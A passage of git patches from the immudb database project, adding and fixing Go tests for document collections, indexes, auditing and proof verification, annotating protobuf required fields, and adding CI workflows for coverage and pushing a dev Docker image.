t.Run(tc.name, func(t *testing.T) { + length, err := sqlValueTypeDefaultLength(tc.valueType) + + require.Equal(t, tc.expectErr, err) + require.Equal(t, tc.length, length) + }) + } +} diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index a90a1ff0cd..861041dfb8 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -22,7 +22,6 @@ import ( "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/logger" - "github.com/codenotary/immudb/pkg/verification" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) @@ -48,12 +47,169 @@ func makeDocumentDb(t *testing.T) *db { return db } -func TestDocumentDB_Collection(t *testing.T) { +func TestDocumentDB_WithCollections(t *testing.T) { + db := makeDocumentDb(t) + // create collection + defaultCollectionName := "mycollection" + + t.Run("should pass when creating a collection", func(t *testing.T) { + + _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + Name: defaultCollectionName, + Fields: []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + }) + require.NoError(t, err) + + // get collection + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + expectedFieldKeys := []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + } + + collection := cinfo.Collection + + for i, idxType := range expectedFieldKeys { + require.Equal(t, idxType.Name, collection.Fields[i].Name) + require.Equal(t, idxType.Type, collection.Fields[i].Type) + } + + }) + + t.Run("should pass when adding an index to the collection", func(t *testing.T) { + _, err := db.CreateIndex(context.Background(), &protomodel.CreateIndexRequest{ + CollectionName: defaultCollectionName, + Fields: []string{"number"}, + }) + require.NoError(t, err) + + // get collection + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + collection := cinfo.Collection + + expectedIndexKeys := []*protomodel.Index{ + {Fields: []string{"_id"}, IsUnique: true}, + {Fields: []string{"number"}, IsUnique: false}, + } + + for i, idxType := range expectedIndexKeys { + require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) + require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) + } + }) + + t.Run("should pass when deleting an index to the collection", func(t *testing.T) { + _, err := db.DeleteIndex(context.Background(), &protomodel.DeleteIndexRequest{ + CollectionName: defaultCollectionName, + Fields: []string{"number"}, + }) + require.NoError(t, err) + + // get collection + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + collection := cinfo.Collection + require.Len(t, collection.Indexes, 1) + + expectedIndexKeys := []*protomodel.Index{ + {Fields: []string{"_id"}, IsUnique: true}, + } + + for i, idxType := range expectedIndexKeys { + require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) + require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) + } + }) + + t.Run("should pass when updating a collection", func(t *testing.T) { + _, err := db.UpdateCollection(context.Background(), &protomodel.UpdateCollectionRequest{ + Name: defaultCollectionName, + DocumentIdFieldName: "foo", + }) + require.NoError(t, err) + + // get collection + cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + collection := cinfo.Collection + require.Equal(t, "foo", collection.Fields[0].Name) + }) + + t.Run("should pass when deleting collection", func(t *testing.T) { + _, err := db.DeleteCollection(context.Background(), &protomodel.DeleteCollectionRequest{ + Name: "mycollection", + }) + require.NoError(t, err) + + resp, err := db.GetCollections(context.Background(), &protomodel.GetCollectionsRequest{}) + require.NoError(t, err) + + require.Len(t, resp.Collections, 0) + }) + + t.Run("should pass when creating multiple collections", func(t *testing.T) { + // create collection + collections := []string{"mycollection1", "mycollection2", "mycollection3"} + + for _, collectionName := range collections { + _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ + Name: collectionName, + Fields: []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + }) + require.NoError(t, err) + } + + expectedFieldKeys := []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + } + + // verify collection + resp, err := db.GetCollections(context.Background(), &protomodel.GetCollectionsRequest{}) + require.NoError(t, err) + require.Len(t, resp.Collections, len(resp.Collections)) + + for i, collection := range resp.Collections { + require.Equal(t, collections[i], collection.Name) + for i, idxType := range expectedFieldKeys { + require.Equal(t, idxType.Name, collection.Fields[i].Name) + require.Equal(t, idxType.Type, collection.Fields[i].Type) + } + } + }) +} + +func TestDocumentDB_WithDocuments(t *testing.T) { db := makeDocumentDb(t) // create collection collectionName := "mycollection" - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ Name: collectionName, Fields: []*protomodel.Field{ @@ -70,72 +226,149 @@ func TestDocumentDB_Collection(t *testing.T) { }) require.NoError(t, err) - // get collection - cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ - Name: collectionName, + t.Run("should fail with empty document", func(t *testing.T) { + // add document to collection + _, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + CollectionName: collectionName, + Documents: nil, + }) + require.Error(t, err) }) - require.NoError(t, err) - resp := cinfo.Collection - require.Equal(t, 2, len(resp.Fields)) - require.Equal(t, 2, len(resp.Indexes)) - require.Equal(t, resp.Fields[0].Name, "_id") - require.Contains(t, resp.Fields[1].Name, "pincode") - require.Equal(t, protomodel.FieldType_STRING, resp.Fields[0].Type) - require.Equal(t, protomodel.FieldType_INTEGER, resp.Fields[1].Type) - - // add document to collection - res, err := db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ - CollectionName: collectionName, - Documents: []*structpb.Struct{ - { - Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: 123}, + var res *protomodel.InsertDocumentsResponse + var docID string + t.Run("should pass when adding documents", func(t *testing.T) { + var err error + // add document to collection + res, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{ + CollectionName: collectionName, + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, }, }, }, - }, + }) + require.NoError(t, err) + require.NotNil(t, res) + require.Len(t, res.DocumentIds, 1) + docID = res.DocumentIds[0] }) - require.NoError(t, err) - require.NotNil(t, res) - // query collection for document - reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ - CollectionName: collectionName, - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_EQ, - Value: structpb.NewNumberValue(123), + var doc *structpb.Struct + t.Run("should pass when querying documents", func(t *testing.T) { + // query collection for document + reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(123), + }, }, }, }, }, - }, - 0, - ) - require.NoError(t, err) + 0, + ) + require.NoError(t, err) - defer reader.Close() + defer reader.Close() - revision, err := reader.Read(context.Background()) - require.NoError(t, err) + revision, err := reader.Read(context.Background()) + require.NoError(t, err) - doc := revision.Document + doc = revision.Document + require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) + }) - require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) + // t.Run("should pass when querying documents with proof", func(t *testing.T) { + // proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ + // Collection: collectionName, + // DocumentId: docID, + // }) + // require.NoError(t, err) + // require.NotNil(t, proofRes) - proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ - CollectionName: collectionName, - DocumentId: res.DocumentIds[0], + // newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) + // require.NoError(t, err) + // require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) + // }) + + t.Run("should pass when replacing document", func(t *testing.T) { + query := &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(123), + }, + }, + }, + }, + } + + resp, err := db.ReplaceDocuments(context.Background(), &protomodel.ReplaceDocumentsRequest{ + Query: query, + Document: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(321), + }, + }, + }) + require.NoError(t, err) + require.Len(t, resp.Revisions, 1) + rev := resp.Revisions[0] + require.Equal(t, docID, rev.DocumentId) + + reader, err := db.SearchDocuments(context.Background(), &protomodel.Query{ + CollectionName: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_EQ, + Value: structpb.NewNumberValue(321), + }, + }, + }, + }, + }, + 0, + ) + require.NoError(t, err) + + defer reader.Close() + + revision, err := reader.Read(context.Background()) + require.NoError(t, err) + + doc = revision.Document + require.Equal(t, 321.0, doc.Fields["pincode"].GetNumberValue()) }) - require.NoError(t, err) - require.NotNil(t, proofRes) - newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) - require.NoError(t, err) - require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) + t.Run("should pass when auditing document", func(t *testing.T) { + resp, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + Page: 1, + PageSize: 10, + }) + require.NoError(t, err) + require.Len(t, resp.Revisions, 2) + + for _, rev := range resp.Revisions { + require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) + } + }) } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 0d137cc1c6..720464f4b8 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -554,3 +554,330 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { }) } + +func TestDocumentInsert_WithEmptyDocument(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithPort(0). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + require.NoError(t, s.Initialize()) + + authenticationServiceImp := &authenticationServiceImp{s} + + logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) + + md := metadata.Pairs("sessionid", logged.SessionID) + ctx := metadata.NewIncomingContext(context.Background(), md) + + collectionName := "employees" + + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ + Name: collectionName, + DocumentIdFieldName: "emp_no", + Fields: []*protomodel.Field{ + {Name: "birth_date", Type: protomodel.FieldType_STRING}, + {Name: "first_name", Type: protomodel.FieldType_STRING}, + {Name: "last_name", Type: protomodel.FieldType_STRING}, + {Name: "gender", Type: protomodel.FieldType_STRING}, + {Name: "hire_date", Type: protomodel.FieldType_STRING}, + }, + Indexes: []*protomodel.Index{ + {Fields: []string{"last_name"}}, + }, + }) + require.NoError(t, err) + + t.Run("#272: insert with empty document should not panic", func(t *testing.T) { + _, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ + CollectionName: collectionName, + Documents: []*structpb.Struct{{}}, + }) + require.NoError(t, err) + }) +} + +func TestCollections(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithPort(0). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + require.NoError(t, s.Initialize()) + + authenticationServiceImp := &authenticationServiceImp{s} + + logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) + + md := metadata.Pairs("sessionid", logged.SessionID) + ctx := metadata.NewIncomingContext(context.Background(), md) + + // create collection + defaultCollectionName := "mycollection" + + t.Run("should pass when creating a collection", func(t *testing.T) { + + _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ + Name: defaultCollectionName, + Fields: []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + }) + require.NoError(t, err) + + // get collection + cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + expectedFieldKeys := []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "name", Type: protomodel.FieldType_STRING}, + {Name: "pin", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + } + + collection := cinfo.Collection + + for i, idxType := range expectedFieldKeys { + require.Equal(t, idxType.Name, collection.Fields[i].Name) + require.Equal(t, idxType.Type, collection.Fields[i].Type) + } + + }) + + t.Run("should pass when adding an index to the collection", func(t *testing.T) { + _, err := s.CreateIndex(ctx, &protomodel.CreateIndexRequest{ + CollectionName: defaultCollectionName, + Fields: []string{"number"}, + }) + require.NoError(t, err) + + // get collection + cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + collection := cinfo.Collection + + expectedIndexKeys := []*protomodel.Index{ + {Fields: []string{"_id"}, IsUnique: true}, + {Fields: []string{"number"}, IsUnique: false}, + } + + for i, idxType := range expectedIndexKeys { + require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) + require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) + } + }) + + t.Run("should pass when deleting an index to the collection", func(t *testing.T) { + _, err := s.DeleteIndex(ctx, &protomodel.DeleteIndexRequest{ + CollectionName: defaultCollectionName, + Fields: []string{"number"}, + }) + require.NoError(t, err) + + // get collection + cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + collection := cinfo.Collection + require.Len(t, collection.Indexes, 1) + + expectedIndexKeys := []*protomodel.Index{ + {Fields: []string{"_id"}, IsUnique: true}, + } + + for i, idxType := range expectedIndexKeys { + require.Equal(t, idxType.Fields, collection.Indexes[i].Fields) + require.Equal(t, idxType.IsUnique, collection.Indexes[i].IsUnique) + } + }) + + t.Run("should pass when updating a collection", func(t *testing.T) { + _, err := s.UpdateCollection(ctx, &protomodel.UpdateCollectionRequest{ + Name: defaultCollectionName, + DocumentIdFieldName: "foo", + }) + require.NoError(t, err) + + // get collection + cinfo, err := s.GetCollection(ctx, &protomodel.GetCollectionRequest{ + Name: defaultCollectionName, + }) + require.NoError(t, err) + + collection := cinfo.Collection + require.Equal(t, "foo", collection.Fields[0].Name) + }) + + t.Run("should pass when deleting collection", func(t *testing.T) { + _, err := s.DeleteCollection(ctx, &protomodel.DeleteCollectionRequest{ + Name: "mycollection", + }) + require.NoError(t, err) + + resp, err := s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) + require.NoError(t, err) + + require.Len(t, resp.Collections, 0) + }) + + t.Run("should pass when creating multiple collections", func(t *testing.T) { + // create collection + collections := []string{"mycollection1", "mycollection2", "mycollection3"} + + for _, collectionName := range collections { + _, err := s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ + Name: collectionName, + Fields: []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + }, + }) + require.NoError(t, err) + } + + expectedFieldKeys := []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_STRING}, + {Name: "number", Type: protomodel.FieldType_INTEGER}, + {Name: "country", Type: protomodel.FieldType_STRING}, + } + + // verify collection + resp, err := s.GetCollections(ctx, &protomodel.GetCollectionsRequest{}) + require.NoError(t, err) + require.Len(t, resp.Collections, len(resp.Collections)) + + for i, collection := range resp.Collections { + require.Equal(t, collections[i], collection.Name) + for i, idxType := range expectedFieldKeys { + require.Equal(t, idxType.Name, collection.Fields[i].Name) + require.Equal(t, idxType.Type, collection.Fields[i].Type) + } + } + }) +} + +func TestDocuments(t *testing.T) { + dir := t.TempDir() + + serverOptions := DefaultOptions(). + WithDir(dir). + WithPort(0). + WithMetricsServer(false). + WithAdminPassword(auth.SysAdminPassword). + WithSigningKey("./../../test/signer/ec1.key") + + s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) + require.NoError(t, s.Initialize()) + + authenticationServiceImp := &authenticationServiceImp{s} + + logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ + Username: "immudb", + Password: "immudb", + Database: "defaultdb", + }) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) + + md := metadata.Pairs("sessionid", logged.SessionID) + ctx := metadata.NewIncomingContext(context.Background(), md) + + // create collection + collectionName := "mycollection" + _, err = s.CreateCollection(ctx, &protomodel.CreateCollectionRequest{ + Name: collectionName, + Fields: []*protomodel.Field{ + { + Name: "pincode", + Type: protomodel.FieldType_INTEGER, + }, + }, + Indexes: []*protomodel.Index{ + { + Fields: []string{"pincode"}, + }, + }, + }) + require.NoError(t, err) + + t.Run("should fail with empty document", func(t *testing.T) { + // add document to collection + _, err := s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ + CollectionName: collectionName, + Documents: nil, + }) + require.Error(t, err) + }) + + var res *protomodel.InsertDocumentsResponse + var docID string + t.Run("should pass when adding documents", func(t *testing.T) { + var err error + // add document to collection + res, err = s.InsertDocuments(ctx, &protomodel.InsertDocumentsRequest{ + CollectionName: collectionName, + Documents: []*structpb.Struct{ + { + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 123}, + }, + }, + }, + }, + }) + require.NoError(t, err) + require.NotNil(t, res) + require.Len(t, res.DocumentIds, 1) + docID = res.DocumentIds[0] + }) + + t.Run("should pass when auditing document", func(t *testing.T) { + resp, err := s.AuditDocument(ctx, &protomodel.AuditDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + Page: 1, + PageSize: 10, + }) + require.NoError(t, err) + require.Len(t, resp.Revisions, 1) + + for _, rev := range resp.Revisions { + require.Equal(t, docID, rev.Document.Fields["_id"].GetStringValue()) + } + }) +} From 2c32832857bb60db13fb4c5bf60762f9c9d95eaa Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Wed, 17 May 2023 06:11:25 +0530 Subject: [PATCH 0557/1062] chore: fix failing verification test --- .github/workflows/push.yml | 4 ++-- pkg/database/document_database_test.go | 25 +++++++++++++------------ 2 files changed, 15 insertions(+), 14 deletions(-) diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 7322a3edbb..1486455fa2 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -365,8 +365,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,httpclient,openapi,proto,protomodel --tags minio || true - cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "httpclient" | grep -v "openapi" | grep -v "proto" | grep -v "protomodel" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version --tags minio || true + cat coverage.txt | grep -v "schema.pb" | grep -v "schema_grpc.pb" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 861041dfb8..f4654a169a 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -22,6 +22,7 @@ import ( "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/pkg/verification" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) @@ -288,18 +289,18 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.Equal(t, 123.0, doc.Fields["pincode"].GetNumberValue()) }) - // t.Run("should pass when querying documents with proof", func(t *testing.T) { - // proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ - // Collection: collectionName, - // DocumentId: docID, - // }) - // require.NoError(t, err) - // require.NotNil(t, proofRes) - - // newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) - // require.NoError(t, err) - // require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) - // }) + t.Run("should pass when querying documents with proof", func(t *testing.T) { + proofRes, err := db.ProofDocument(context.Background(), &protomodel.ProofDocumentRequest{ + CollectionName: collectionName, + DocumentId: docID, + }) + require.NoError(t, err) + require.NotNil(t, proofRes) + + newState, err := verification.VerifyDocument(context.Background(), proofRes, doc, nil, nil) + require.NoError(t, err) + require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) + }) t.Run("should pass when replacing document", func(t *testing.T) { query := &protomodel.Query{ From dd023cbba3ea1623c9664a5d001fba463bb91efd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 17 May 2023 15:05:31 -0300 Subject: [PATCH 0558/1062] chore(pkg/api): annotated required message fields Signed-off-by: Jeronimo Irazabal --- pkg/api/proto/documents.proto | 118 ++++++++++++++++++++++++++++++++-- 1 file changed, 112 insertions(+), 6 deletions(-) diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index 0da7713356..dbd1a60c03 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -87,6 +87,15 @@ enum FieldType { } message Index { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "fields", + "isUnique" + ] + } + }; + repeated string fields = 1; bool isUnique = 2; } @@ -104,10 +113,29 @@ message GetCollectionRequest { } message GetCollectionResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collection" + ] + } + }; + Collection collection = 1; } message Collection { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "name", + "documentIdFieldName", + "fields", + "indexes" + ] + } + }; + string name = 1; string documentIdFieldName = 2; repeated Field fields = 3; @@ -117,6 +145,14 @@ message Collection { message GetCollectionsRequest {} message GetCollectionsResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "collections" + ] + } + }; + repeated Collection collections = 1; } @@ -153,7 +189,9 @@ message CreateIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collectionName" + "collectionName", + "fields", + "isUnique" ] } }; @@ -169,7 +207,8 @@ message DeleteIndexRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collectionName" + "collectionName", + "fields" ] } }; @@ -184,7 +223,8 @@ message InsertDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "collectionName" + "collectionName", + "documents" ] } }; @@ -194,6 +234,15 @@ message InsertDocumentsRequest { } message InsertDocumentsResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "transactionId", + "documentIds" + ] + } + }; + uint64 transactionId = 1; repeated string documentIds = 2; } @@ -202,7 +251,8 @@ message ReplaceDocumentsRequest { option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { json_schema: { required: [ - "query" + "query", + "document" ] } }; @@ -212,6 +262,14 @@ message ReplaceDocumentsRequest { } message ReplaceDocumentsResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "revisions" + ] + } + }; + repeated DocumentAtRevision revisions = 1; } @@ -234,7 +292,8 @@ message SearchDocumentsRequest { json_schema: { required: [ "page", - "pageSize" + "pageSize", + "keepOpen" ] } }; @@ -254,6 +313,9 @@ message Query { json_schema: { required: [ "collectionName" + "expressions", + "orderBy", + "limit" ] } }; @@ -265,6 +327,14 @@ message Query { } message QueryExpression { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "fieldComparisons" + ] + } + }; + repeated FieldComparison fieldComparisons = 1; } @@ -273,7 +343,8 @@ message FieldComparison { json_schema: { required: [ "field", - "operator" + "operator", + "value" ] } }; @@ -309,11 +380,29 @@ message OrderByClause { } message SearchDocumentsResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "revisions" + ] + } + }; + string searchId = 1; repeated DocumentAtRevision revisions = 2; } message DocumentAtRevision { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "transactionId", + "documentId", + "revision" + ] + } + }; + uint64 transactionId = 1; string documentId = 2; uint64 revision = 3; @@ -322,6 +411,14 @@ message DocumentAtRevision { } message DocumentMetadata { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "deleted" + ] + } + }; + bool deleted = 1; } @@ -331,6 +428,7 @@ message AuditDocumentRequest { required: [ "collectionName", "documentId", + "desc", "page", "pageSize" ] @@ -345,6 +443,14 @@ message AuditDocumentRequest { } message AuditDocumentResponse { + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_schema) = { + json_schema: { + required: [ + "revisions" + ] + } + }; + repeated DocumentAtRevision revisions = 1; } From 4eecc3f665315e538d342e1ffb8782c149953895 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 17 May 2023 16:51:24 -0300 Subject: [PATCH 0559/1062] fix(pkg/verification): document comparison with proto equals Signed-off-by: Jeronimo Irazabal --- pkg/verification/verification.go | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index e855f49097..3aab82b3b5 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -71,12 +71,6 @@ func VerifyDocument(ctx context.Context, return nil, fmt.Errorf("%w: document entry was not found or it was found multiple times", store.ErrInvalidProof) } - // check encoded value is consistent with raw document - docBytes, err := proto.Marshal(doc) - if err != nil { - return nil, err - } - voff := sql.EncLenLen + sql.EncIDLen // DocumentIDField @@ -97,8 +91,15 @@ func VerifyDocument(ctx context.Context, return nil, err } - if !bytes.Equal(docBytes, encodedDoc.RawValue().([]byte)) { - return nil, fmt.Errorf("%w: the document does not match the proof provided", store.ErrInvalidProof) + proofDoc := &structpb.Struct{} + + err = proto.Unmarshal(encodedDoc.RawValue().([]byte), proofDoc) + if err != nil { + return nil, err + } + + if !proto.Equal(doc, proofDoc) { + return nil, fmt.Errorf("%w: proof is not valid for provided document", store.ErrInvalidProof) } entries := proof.VerifiableTx.Tx.Entries From 7e55da297168fce635ee36b24338bf92a0f56179 Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:27:02 +0200 Subject: [PATCH 0560/1062] Added workflow for pushing dev image to dockerhub --- .github/workflows/push-dev.yml | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 .github/workflows/push-dev.yml diff --git a/.github/workflows/push-dev.yml b/.github/workflows/push-dev.yml new file mode 100644 index 0000000000..78b05d6339 --- /dev/null +++ b/.github/workflows/push-dev.yml @@ -0,0 +1,26 @@ +name: pushCI + +env: + GO_VERSION: "1.18" + MIN_SUPPORTED_GO_VERSION: "1.17" + +on: + push: + branches: + - feat/objects + - * + +jobs: + name: build and push + steps: + - uses: actions/setup-go@v3 + with: + go-version: ${{ env.GO_VERSION }} + - uses: actions/checkout@v3 + - run: | + GITTAG=$(git rev-parse HEAD | head -c 8) + docker build -t codenotary/immudb-dev1:$GITTAG . + docker image tag codenotary/immudb-dev1:latest + docker login -u "${{ secrets.REGISTRY_USER }}" -p "${{ secrets.REGISTRY_PASS }}" + docker image push codenotary/immudb-dev1:$GITTAG + docker image push codenotary/immudb-dev1:latest From a7e9f613cf32cca8059e228e53028c1935f7eefd Mon Sep 17 00:00:00 2001 From: Simone Lazzaris Date: Wed, 17 May 2023 17:33:46 +0200 Subject: [PATCH 0561/1062] Added 